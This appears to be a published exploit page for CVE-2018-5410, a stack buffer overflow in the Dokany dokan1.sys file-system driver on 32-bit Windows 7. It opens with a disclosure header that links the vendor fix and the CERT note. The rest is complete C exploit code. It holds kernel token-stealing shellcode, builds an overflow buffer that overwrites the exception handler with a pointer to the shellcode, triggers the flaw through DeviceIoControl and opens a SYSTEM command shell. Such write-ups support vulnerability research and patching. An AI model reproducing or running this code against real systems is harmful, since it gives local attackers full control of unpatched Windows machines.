1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 |
/* Exploit Title- Dokany Stack-based Buffer Overflow Privilege Escalation Date - 14th January 2019 Discovered by- Parvez Anwar (@parvezghh) Vendor Homepage- http://dokan-dev.github.io Tested Version - 1.2.0.1000 Driver Version - 1.2.0.1000 - dokan1.sys Software package - https://github.com/dokan-dev/dokany/releases/download/v1.2.0.1000/DokanSetupDbg_redist.exe Tested on OS - 32bit Windows 7 CVE ID - CVE-2018-5410 Vendor fix url - https://github.com/dokan-dev/dokany/releases/tag/v1.2.1.1000 CERT/CC Vul note - https://www.kb.cert.org/vuls/id/741315 Fixed Version- 1.2.1.1000 Fixed driver ver - 1.2.1.1000 Check blogpost for details: <blockquote class="wp-embedded-content" data-secret="2MEeuP01iq"><a href="https://www.greyhathacker.net/?p=1041" target="_blank"rel="external nofollow" class="external" >Dokany/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability</a></blockquote><iframe class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; visibility: hidden;" title="“Dokany/Google Drive File Stream Kernel Stack-based Buffer Overflow Vulnerability” — GreyHatHacker.NET" src="https://www.greyhathacker.net/?p=1041&embed=true#?secret=hCEshr5GJi#?secret=2MEeuP01iq" data-secret="2MEeuP01iq" frameborder="0" marginmarginscrolling="no"></iframe> */ #include <stdio.h> #include <windows.h> #define BUFSIZE 896 // Windows 7 SP1 #define W7_KPROCESS 0x50// Offset to _KPROCESS from a _ETHREAD struct #define W7_TOKEN0xf8// Offset to TOKEN from the _EPROCESS struct #define W7_UPID 0xb4// Offset to UniqueProcessId FROM the _EPROCESS struct #define W7_APLINKS0xb8// Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_w7[] = { 0x60,// pushad Saves all registers 0x64,0xA1,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W7_KPROCESS, // mov eax, [eax+W7_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax Current _EPROCESS structure 0x8b,0x98,W7_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W7_TOKEN]Retrieves TOKEN 0x8b,0x80,W7_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W7_APLINKS] <-|Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W7_APLINKS,0x00,0x00,0x00, // sub eax, W7_APLINKS |Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W7_UPID], 4|Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W7_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W7_TOKEN]Retrieves TOKEN and stores on EDX 0x89,0x91,0xF8,0x00,0x00,0x00, // mov [ecx+W7_TOKEN], edxOverwrites the TOKEN for the current KPROCESS 0x61,// popadRestores all registers 0x81,0xc4,0x3c,0x0b,0x00,0x00, // add esp,0xB3cTarget frame to return 0x31,0xc0, // xor eax,eaxNTSTATUS -> STATUS_SUCCESS 0x5d,// pop ebpRestore saved EBP 0xc2,0x08,0x00 // ret 8Return cleanly }; int spawnShell() { STARTUPINFOA si; PROCESS_INFORMATIONpi; ZeroMemory(&pi, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); if (!CreateProcess(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return -1; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } int main(int argc, char *argv[]) { HANDLE hDevice; char devhandle[MAX_PATH]; DWORDdwRetBytes = 0; BYTE *inbuffer; LPVOID addrtoshell; printf("-------------------------------------------------------------------------------\n"); printf(" Dokany (dokan1.sys) Stack-based Buffer Overflow Cookie Bypass EoP Exploit \n"); printf("Tested on 32bit Windows 7\n"); printf("-------------------------------------------------------------------------------\n"); addrtoshell = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } memcpy(addrtoshell, token_steal_w7, sizeof(token_steal_w7)); printf("\n[i] Size of shellcode %d bytes", sizeof(token_steal_w7)); printf("\n[i] Shellcode located at address 0x%p", addrtoshell); inbuffer = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if(inbuffer == NULL) { printf("\n[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } memset(inbuffer, 0x41, BUFSIZE); printf("\n[i] Buffer located at address 0x%p", inbuffer); printf("\n[i] Size of total input buffer being sent %d bytes", BUFSIZE); *(WORD*)(inbuffer) = BUFSIZE; // Size of buffer used by memcpy *(WORD*)(inbuffer + 2) = BUFSIZE-6; // Size of input buffer, value has to be at most BUFSIZE - 6 *(DWORD*)(inbuffer + 776) = 0x42424242; // cookie *(DWORD*)(inbuffer + 784) = 0x43434343; // return *(DWORD*)(inbuffer + 792) = 0x44444444; // IRP //*(DWORD*)(inbuffer + 892) = 0x45454545; // Exception handler *(DWORD*)(inbuffer + 892) = (ULONG)addrtoshell; // Shellcode sprintf(devhandle, "\\\\.\\%s", "Dokan_1"); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Open %s device failed\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to continue . . .\n"); getch(); DeviceIoControl(hDevice, 0x00222010, inbuffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); printf("[*] Spawning SYSTEM Shell\n"); spawnShell(); CloseHandle(hDevice); return 0; } |